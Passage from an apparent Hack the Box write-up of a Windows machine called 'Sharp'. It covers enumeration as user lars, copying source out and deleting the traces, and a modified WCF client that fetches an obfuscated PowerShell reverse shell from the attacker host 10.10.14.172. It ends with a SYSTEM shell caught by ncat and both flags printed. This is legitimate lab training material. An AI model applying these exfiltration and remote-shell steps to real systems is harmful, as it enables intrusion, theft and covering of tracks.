NT AUTHORITY\This Organization         Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113                                    Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10                                  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192



PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Using this reverse shell I was finaly able to get a connection back, and was logged in as lars. Unfortunately this user did not have any interesting privileges or group memberships.

user.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS>cd ~/Desktop
PS>ls


    Directory: C:\Users\lars\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        4/23/2021   3:25 PM             34 user.txt


PS>cat user.txt
a1958a13561e7816025222d37e3d12a3

I found the user flag on lars’ Desktop.

Path to Power (Gaining Administrator Access)

Enumeration as user lars

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
PS>computerinfo


WindowsBuildLabEx                                       : 17763.1.amd64fre.rs5_release.180914-1434
WindowsCurrentVersion                                   : 6.3
WindowsEditionId                                        : ServerDatacenter
WindowsInstallationType                                 : Server Core
WindowsInstallDateFromRegistry                          : 11/12/2020 4:57:36 PM
WindowsProductId                                        : 00430-10710-91142-AA482
WindowsProductName                                      : Windows Server 2019 Datacenter
WindowsRegisteredOrganization                           : Managed by Terraform
WindowsRegisteredOwner                                  : Administrator
WindowsSystemRoot                                       : C:\Windows
WindowsVersion                                          : 1809
BiosCharacteristics                                     : {4, 7, 8, 9...}
BiosBIOSVersion                                         : {INTEL  - 6040000, PhoenixBIOS 4.0 Release 6.0     }
BiosBuildNumber                                         :
BiosCaption                                             : PhoenixBIOS 4.0 Release 6.0
BiosCodeSet                                             :
BiosCurrentLanguage                                     :
BiosDescription                                         : PhoenixBIOS 4.0 Release 6.0
BiosEmbeddedControllerMajorVersion                      : 0
BiosEmbeddedControllerMinorVersion                      : 0
BiosFirmwareType                                        : Bios
BiosIdentificationCode                                  :
BiosInstallableLanguages                                :
BiosInstallDate                                         :
BiosLanguageEdition                                     :
BiosListOfLanguages                                     :
BiosManufacturer                                        : Phoenix Technologies LTD
BiosName                                                : PhoenixBIOS 4.0 Release 6.0
BiosOtherTargetOS                                       :
BiosPrimaryBIOS                                         : True
BiosReleaseDate                                         : 12/12/2018 12:00:00 AM
BiosSeralNumber                                         : VMware-42 39 66 e6 16 c8 18 d5-90 1f 7d af b5 ee c3 a2
BiosSMBIOSBIOSVersion                                   : 6.00
BiosSMBIOSMajorVersion                                  : 2
BiosSMBIOSMinorVersion                                  : 7
BiosSMBIOSPresent                                       : True
BiosSoftwareElementState                                : Running
BiosStatus                                              : OK
BiosSystemBiosMajorVersion                              : 4
BiosSystemBiosMinorVersion                              : 6
BiosTargetOperatingSystem                               : 0
BiosVersion                                             : INTEL  - 6040000
CsAdminPasswordStatus                                   : Enabled
CsAutomaticManagedPagefile                              : True
CsAutomaticResetBootOption                              : True
CsAutomaticResetCapability                              : True
CsBootOptionOnLimit                                     : DoNotReboot
CsBootOptionOnWatchDog                                  : DoNotReboot
CsBootROMSupported                                      : True
CsBootStatus                                            : {0, 0, 0, 0...}
CsBootupState                                           : Normal boot
CsCaption                                               : SHARP
CsChassisBootupState                                    : Safe
CsChassisSKUNumber                                      :
CsCurrentTimeZone                                       : 60
CsDaylightInEffect                                      : True
CsDescription                                           : AT/AT COMPATIBLE
CsDNSHostName                                           : Sharp
CsDomain                                                : WORKGROUP
CsDomainRole                                            : StandaloneServer
CsEnableDaylightSavingsTime                             : True
CsFrontPanelResetStatus                                 : Unknown
CsHypervisorPresent                                     : True
CsInfraredSupported                                     : False
CsInitialLoadInfo                                       :
CsInstallDate                                           :
CsKeyboardPasswordStatus                                : Unknown
CsLastLoadInfo                                          :
CsManufacturer                                          : VMware, Inc.
CsModel                                                 : VMware Virtual Platform
CsName                                                  : SHARP
CsNetworkAdapters                                       : {Ethernet0}
CsNetworkServerModeEnabled                              : True
CsNumberOfLogicalProcessors                             : 2
CsNumberOfProcessors                                    : 2
CsProcessors                                            : {AMD EPYC 7401P 24-Core Processor               , AMD EPYC
                                                          7401P 24-Core Processor               }
CsOEMStringArray                                        : {[MS_VM_CERT/SHA1/27d66596a61c48dd3dc7216fd715126e33f59ae7],
                                                          Welcome to the Virtual Machine}
CsPartOfDomain                                          : False
CsPauseAfterReset                                       : 3932100000
CsPCSystemType                                          : Desktop
CsPCSystemTypeEx                                        : Desktop
CsPowerManagementCapabilities                           :
CsPowerManagementSupported                              :
CsPowerOnPasswordStatus                                 : Disabled
CsPowerState                                            : Unknown
CsPowerSupplyState                                      : Safe
CsPrimaryOwnerContact                                   :
CsPrimaryOwnerName                                      : Administrator
CsResetCapability                                       : Other
CsResetCount                                            : -1
CsResetLimit                                            : -1
CsRoles                                                 : {LM_Workstation, LM_Server, NT, Server_NT}
CsStatus                                                : OK
CsSupportContactDescription                             :
CsSystemFamily                                          :
CsSystemSKUNumber                                       :
CsSystemType                                            : x64-based PC
CsThermalState                                          : Safe
CsTotalPhysicalMemory                                   : 4294430720
CsPhyicallyInstalledMemory                              : 4194304
CsUserName                                              : SHARP\lars
CsWakeUpType                                            : PowerSwitch
CsWorkgroup                                             : WORKGROUP
OsName                                                  : Microsoft Windows Server 2019 Datacenter
OsType                                                  : WINNT
OsOperatingSystemSKU                                    : DatacenterServerEdition
OsVersion                                               : 10.0.17763
OsCSDVersion                                            :
OsBuildNumber                                           : 17763
OsHotFixes                                              : {KB4580422, KB4577667, KB4587735, KB5000822}
OsBootDevice                                            : \Device\HarddiskVolume1
OsSystemDevice                                          : \Device\HarddiskVolume2
OsSystemDirectory                                       : C:\Windows\system32
OsSystemDrive                                           : C:
OsWindowsDirectory                                      : C:\Windows
OsCountryCode                                           : 1
OsCurrentTimeZone                                       : 60
OsLocaleID                                              : 0409
OsLocale                                                : en-US
OsLocalDateTime                                         : 4/24/2021 5:21:12 PM
OsLastBootUpTime                                        : 4/23/2021 3:25:12 PM
OsUptime                                                : 1.01:55:59.5152867
OsBuildType                                             : Multiprocessor Free
OsCodeSet                                               : 1252
OsDataExecutionPreventionAvailable                      : True
OsDataExecutionPrevention32BitApplications              : True
OsDataExecutionPreventionDrivers                        : True
OsDataExecutionPreventionSupportPolicy                  : OptOut
OsDebug                                                 : False
OsDistributed                                           : False
OsEncryptionLevel                                       : 256
OsForegroundApplicationBoost                            : Maximum
OsTotalVisibleMemorySize                                : 4193780
OsFreePhysicalMemory                                    : 3250652
OsTotalVirtualMemorySize                                : 4914676
OsFreeVirtualMemory                                     : 4008532
OsInUseVirtualMemory                                    : 906144
OsTotalSwapSpaceSize                                    :
OsSizeStoredInPagingFiles                               : 720896
OsFreeSpaceInPagingFiles                                : 636604
OsPagingFiles                                           : {C:\pagefile.sys}
OsHardwareAbstractionLayer                              : 10.0.17763.1790
OsInstallDate                                           : 11/12/2020 4:57:36 PM
OsManufacturer                                          : Microsoft Corporation
OsMaxNumberOfProcesses                                  : 4294967295
OsMaxProcessMemorySize                                  : 137438953344
OsMuiLanguages                                          : {en-US}
OsNumberOfLicensedUsers                                 :
OsNumberOfProcesses                                     : 65
OsNumberOfUsers                                         : 1
OsOrganization                                          : Managed by Terraform
OsArchitecture                                          : 64-bit
OsLanguage                                              : en-US
OsProductSuites                                         : {TerminalServices, DatacenterEdition,
                                                          TerminalServicesSingleSession}
OsOtherTypeDescription                                  :
OsPAEEnabled                                            :
OsPortableOperatingSystem                               : False
OsPrimary                                               : True
OsProductType                                           : Server
OsRegisteredUser                                        : Administrator
OsSerialNumber                                          : 00430-10710-91142-AA482
OsServicePackMajorVersion                               : 0
OsServicePackMinorVersion                               : 0
OsStatus                                                : OK
OsSuites                                                : {TerminalServices, DatacenterEdition,
                                                          TerminalServicesSingleSession}
OsServerLevel                                           : ServerCore
KeyboardLayout                                          : en-US
TimeZone                                                : (UTC+00:00) Dublin, Edinburgh, Lisbon, London
LogonServer                                             : \\SHARP
PowerPlatformRole                                       : Desktop
HyperVisorPresent                                       : True
HyperVRequirementDataExecutionPreventionAvailable       :
HyperVRequirementSecondLevelAddressTranslation          :
HyperVRequirementVirtualizationFirmwareEnabled          :
HyperVRequirementVMMonitorModeExtensions                :
DeviceGuardSmartStatus                                  : Off
DeviceGuardRequiredSecurityProperties                   :
DeviceGuardAvailableSecurityProperties                  :
DeviceGuardSecurityServicesConfigured                   :
DeviceGuardSecurityServicesRunning                      :
DeviceGuardCodeIntegrityPolicyEnforcementStatus         :
DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus :

//sharp, 64-bit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
PS>systeminfo

Host Name:                 SHARP
OS Name:                   Microsoft Windows Server 2019 Datacenter
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Administrator
Registered Organization:   Managed by Terraform
Product ID:                00430-10710-91142-AA482
Original Install Date:     11/12/2020, 4:57:36 PM
System Boot Time:          4/23/2021, 3:25:12 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
                           [02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory:     4,095 MB
Available Physical Memory: 3,151 MB
Virtual Memory: Max Size:  4,799 MB
Virtual Memory: Available: 3,893 MB
Virtual Memory: In Use:    906 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\SHARP
Hotfix(s):                 4 Hotfix(s) Installed.
                           [01]: KB4580422
                           [02]: KB4577667
                           [03]: KB4587735
                           [04]: KB5000822
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.219
                                 [02]: fe80::391e:6be2:5ddb:3e5a
                                 [03]: dead:beef::391e:6be2:5ddb:3e5a
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

64-bit Microsoft Windows Server 2019 Datacenter running in VMWare

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
PS>cmd /c set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\lars\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=SHARP
ComSpec=C:\Windows\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
HOMEDRIVE=C:
HOMEPATH=\Users\lars
LOCALAPPDATA=C:\Users\lars\AppData\Local
LOGONSERVER=\\SHARP
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\Redis\;C:\Users\lars\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=AMD64 Family 23 Model 1 Stepping 2, AuthenticAMD
PROCESSOR_LEVEL=23
PROCESSOR_REVISION=0102
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=C:\Users\lars\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
PUBLIC=C:\Users\Public
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\lars\AppData\Local\Temp
TMP=C:\Users\lars\AppData\Local\Temp
USERDOMAIN=SHARP
USERDOMAIN_ROAMINGPROFILE=SHARP
USERNAME=lars
USERPROFILE=C:\Users\lars
windir=C:\Windows

I was signed in as lars; openssh and redis are in $PATH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PS>cd Documents
PS>ls


    Directory: C:\Users\lars\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/15/2020   1:40 PM                wcf
PS>ls


    Directory: C:\Users\lars\Documents\wcf


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/15/2020   1:40 PM                .vs
d-----       11/15/2020   1:40 PM                Client
d-----       11/15/2020   1:40 PM                packages
d-----       11/15/2020   1:40 PM                RemotingLibrary
d-----       11/15/2020   1:41 PM                Server
-a----       11/15/2020  12:47 PM           2095 wcf.sln

In lars’ Documents folder was somehing called wcf. This folder contained yet another project that looked like it may have been the same as the other at first

File exfiltration

  • https://www.technig.com/share-files-using-command-line/

I wanted to create a shared folder from the wcf folder so I could copy everything over at once.

1
2
3
4
5
6
7
8
9
10
11
12
PS>New-SmbShare -Name exfil -Path C:\Users\lars\Documents\wcf -FullAccess lars
PS>net share

Share name   Resource                        Remark

-------------------------------------------------------------------------------
C$           C:\                             Default share
IPC$                                         Remote IPC
ADMIN$       C:\Windows                      Remote Admin
dev          C:\dev
kanban       C:\kanban
The command completed successfully.

I tried creating a new shared folder from the code folder, but it must have failed (stderr was not visible to me in this shell).

1
PS>net share exfil=C:\Users\lars\Documents\wcf /grant:lars,full

I also tried it using the net share command, but was again unsuccessful

  • https://www.howtogeek.com/670314/how-to-zip-and-unzip-files-using-powershell/

I wanted to transfer the whole folder, but wasnt sure how to do that in my powershell reverse shell, so I zipped the folder up so I only had one file to download

1
PS>Compress-Archive -LiteralPath C:\Users\lars\Documents\wcf -DestinationPath C:\dev\wcf.zip

A sign in window promptin for lars' credentials to the dev share from my attack VM

Next I connected to the share on my windows machine and put in lars credentials.

The dev share's files visible from my Windows attack machine

After I transfered the file to my machine I deleted the evidence from the shared drive

wcf

The client source code held another secret endpoint to connect to

I loaded the wcf solution in Visual Studio and opened the code for the client. There was a new “secret” TCP endpoint visible net.tcp://localhost:8889/wcf/NewSecretWcfEndpoint.

This version of the Remoting Library contained a method for invoking PowerShell commands

In this project was also a new version of the RemotingLibrary. This one contained methods for getting usage nformation about the machine such as users, CPU, and Ram. There was also an interesting method that looked like it could be used to run powershell commands.

1
2
3
 Console.WriteLine(client.GetDiskInfo());
            Console.WriteLine(client.GetCpuInfo());
            Console.WriteLine(client.GetRamInfo());

The client implementation of the methods only included getting the CPU, Disk, and Ram information. There wasn’t any usage of the GetUser or PowerShell commands methods.

My edits of the source code for the Client. I added implementation of the unused functions

I decided to add my own implementation of these unused methods. I inserted the same PowerShell command I had used to get a reverse shell earlier. Before I built the project, I decided to check the victim machine to see whether there was a server implementation running that would accept my commands, or whether I would have to run it myself.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
PS>netstat -nao

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       872
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8888           0.0.0.0:0              LISTENING       948
  TCP    0.0.0.0:8889           0.0.0.0:0              LISTENING       756
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       484
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       340
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1064
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       620
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       628
  TCP    10.10.10.219:139       0.0.0.0:0              LISTENING       4
  TCP    10.10.10.219:445       10.10.14.172:61954     ESTABLISHED     4
  TCP    10.10.10.219:49742     10.10.14.172:9000      ESTABLISHED     3508
  TCP    [::]:135               [::]:0                 LISTENING       872
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:5985              [::]:0                 LISTENING       4
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49664             [::]:0                 LISTENING       484
  TCP    [::]:49665             [::]:0                 LISTENING       340
  TCP    [::]:49666             [::]:0                 LISTENING       1064
  TCP    [::]:49667             [::]:0                 LISTENING       620
  TCP    [::]:49668             [::]:0                 LISTENING       628
  UDP    0.0.0.0:123            *:*                                    1672
  UDP    0.0.0.0:500            *:*                                    1568
  UDP    0.0.0.0:4500           *:*                                    1568
  UDP    10.10.10.219:137       *:*                                    4
  UDP    10.10.10.219:138       *:*                                    4
  UDP    [::]:123               *:*                                    1672
  UDP    [::]:500               *:*                                    1568
  UDP    [::]:4500              *:*                                    1568

Since I knew that this endpoint ran on port 8889, I was able to pick out the process ID that was associated with that port

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
PS>Get-Process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
     85       5      928       4164              1524   0 CExecSvc
     73       5     2240       3776       0.13   2552   1 cmd
     73       5     2252       3680       0.00   3288   1 cmd
     75       5     2244       3932       0.02   3900   1 cmd
    162      10     6912       3076       2.13   2520   1 conhost
    164      11     6928      21380       0.55   2764   1 conhost
    162      10     6896      13864       0.31   3644   1 conhost
    161      10     6916      14492       3.33   3916   1 conhost
    363      15     2228       5368               380   0 csrss
    245      11     2036       5220               492   1 csrss
    256      13     3996      13460              2228   0 dllhost
     49       6     1360       4524               768   0 fontdrvhost
     49       6     1528       5040               776   1 fontdrvhost
      0       0       56          8                 0   0 Idle
    834      21     5232      13904               628   0 lsass
    224      13     3044      10516              2560   0 msdtc
    518      68   144628     137332              1844   0 MsMpEng
    569      31    87092      98904     143.75   3508   1 powershell
    660      38   467440     300140     281.73   4024   1 powershell
      0       9      204      34860                88   0 Registry
    276      16    16736      16376       0.03    948   1 Server
    396      10     3940       8176               620   0 services
     53       3      484       1216               276   0 smss
    298      12     8180      12752               340   0 svchost
    185       9     1744       7756               476   0 svchost
    423       9     2732       9052               616   0 svchost
    216      11     2044       9840               704   0 svchost
     86       5      868       3948               748   0 svchost
    279      12     3000       9720               784   0 svchost
    340      20    10016      15896               792   0 svchost
    537      16     3848      10836               872   0 svchost
    233      10     1784       7140               912   0 svchost
    327      18     4588      14148              1064   0 svchost
    165       9     1752       8164              1104   0 svchost
    120      12     2488       6688              1144   0 svchost
    216       9     2100       7716              1180   0 svchost
    229      11     2624       8116              1188   0 svchost
    116       7     1184       5956              1228   0 svchost
    384      31     7164      14816              1276   0 svchost
    187      10     1852       7776              1292   0 svchost
    188      10     1848       8764              1412   0 svchost
    119       7     1172       5668              1488   0 svchost
    184      22     2696      10140              1496   0 svchost
    417      19    17564      30480              1516   0 svchost
    262      13     2536       8088              1568   0 svchost
    405      16    13096      22272              1576   0 svchost
    137       8     1468       6324              1664   0 svchost
    210      12     1816       7652              1672   0 svchost
    328      13     3848      11160              1688   0 svchost
    208      11     2420       8540              1708   0 svchost
    458      17     5120      15576              1820   0 svchost
    256      14    10192      12148              2336   0 svchost
    164      10     1948       7696              2360   0 svchost
    304      17    14876      27468              3096   0 svchost
    201      10     2232       8256              3248   0 svchost
    116       7     1244       5492              3256   0 svchost
    132       8     3472      10428              4064   0 svchost
   1142       0      192        156                 4   0 System
    206      12     2004       9872       0.11   3732   1 taskhostw
    170      12     3236      10676              1696   0 VGAuthService
    133       8     1604       6720              1020   0 vm3dservice
    131       9     1672       7428       0.02   3324   1 vm3dservice
    200      16     4732      13764       1.19   1016   1 vmtoolsd
    359      22    10200      22176              1680   0 vmtoolsd
    293      20    16128      20452               756   0 WcfServer
    171      11     1460       7072               484   0 wininit
    263      12     2716      11748               544   1 winlogon
    549      17     9772      20148              2424   0 WmiPrvSE

Process 756 was linked to the service WcfServer.

1
PS>Get-Childitem -Path C:\ -Recurse -ErrorAction SilentlyContinue | ? {$_.Name -Like "wcfserver"}

I did a search to see if I could find this file but it didn’t find anything. It was probably running from a folder that I couldn’t see and didn’t have permissions to access. This might mean that it was running with someone else’s permissions. If I could compile my version of the client and transfer it over, I could get this other user to run my implementations of their own code.

1
2
3
4
5
6
7
1>------ Build started: Project: RemotingLibrary, Configuration: Debug Any CPU ------
1>  RemotingLibrary -> C:\Users\User\Desktop\wcf\wcf\RemotingLibrary\bin\Debug\WcfRemotingLibrary.dll
2>------ Build started: Project: Client, Configuration: Debug Any CPU ------
3>------ Build started: Project: Server, Configuration: Debug Any CPU ------
2>  Client -> C:\Users\User\Desktop\wcf\wcf\Client\bin\Debug\WcfClient.exe
========== Build: 3 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========

This project was much easier to build, and had no errors.

A list of the output files after the successful build of the project

After the project finished building, I had a handful of files. One of the files that was included was System.Management.Automation.dll. This was interesting, because this is the library that contains the code for actually running PowerShell. With this included I could run PowerShell commands without PowerShell.exe.

I tried to copy over the compiled files to the dev share, but I didn’t have the proper permissions to write to it remotely. I would have to do it the old-fashioned way.

1
PS C:\Users\User\Desktop\wcf\wcf\Client\bin\Release> Compress-Archive -Path . -DestinationPath ./wcf.zip

On my Windows VM I zipped up the files I had compiled

1
2
PS>wget http://10.10.14.172:8090/wcf.zip -o wcf.zip
PS>Expand-Archive -Path ./wcf.zip -DestinationPath ./test

I copied the zip file over to the victim machine, extracted it, them ran WcfClient.exe.

1
2
10.10.10.219 - - [24/Apr/2021 14:14:10] "GET /wcf.zip HTTP/1.1" 200 -
10.10.10.219 - - [24/Apr/2021 14:14:36] "GET /test2.ps1 HTTP/1.1" 200 -

Got a hit on my python server downloading the obfuscated powershell reverse shell

Getting a shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
PS C:\Users\User\Desktop\ExploitRemotingService-master\ExploitRemotingService\bin\Debug\Release> .\ncat.exe -lvn 9001
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.219:49764.
PS>whoami /all

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
BUILTIN\Administrators                 Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label            S-1-16-16384


PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Disabled
SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeTcbPrivilege                            Act as part of the operating system                                Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeAuditPrivilege                          Generate security audits                                           Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

Root.txt

1
2
PS>type C:\Users\Administrator\Desktop\root.txt
f85fa6f86f1a6bb0a693093b7b095e35

The root proof was located on the Administrator’s Desktop. My shell exited shorty after I collected it. I connected again to see if this was only a one time problem, but it happened again. If you need more time, or wanted to set up persistence you will need to send yourself another shell that is not linked to this wcfserver process as it is likely restarting periodically.

Hack the Box message showing successful completion of this challenge

Thanks to cube0x0 for creating a fun yet challenging Windows machine. There are never enough difficult Windows challenges to work through so every one is appreciated! I also enjoyed the fact that the binaries were written in C-Sharp, as this language is much easier to reverse and understand than say, C.

If you have comments, issues, or other feedback, or have any other fun or useful tips or tricks to share, feel free to contact me on Github at https://github.com/zweilosec or in the comments below!

If you like this content and would like to see more, please consider buying me a coffee!

This post is licensed under CC BY 4.0 by the author.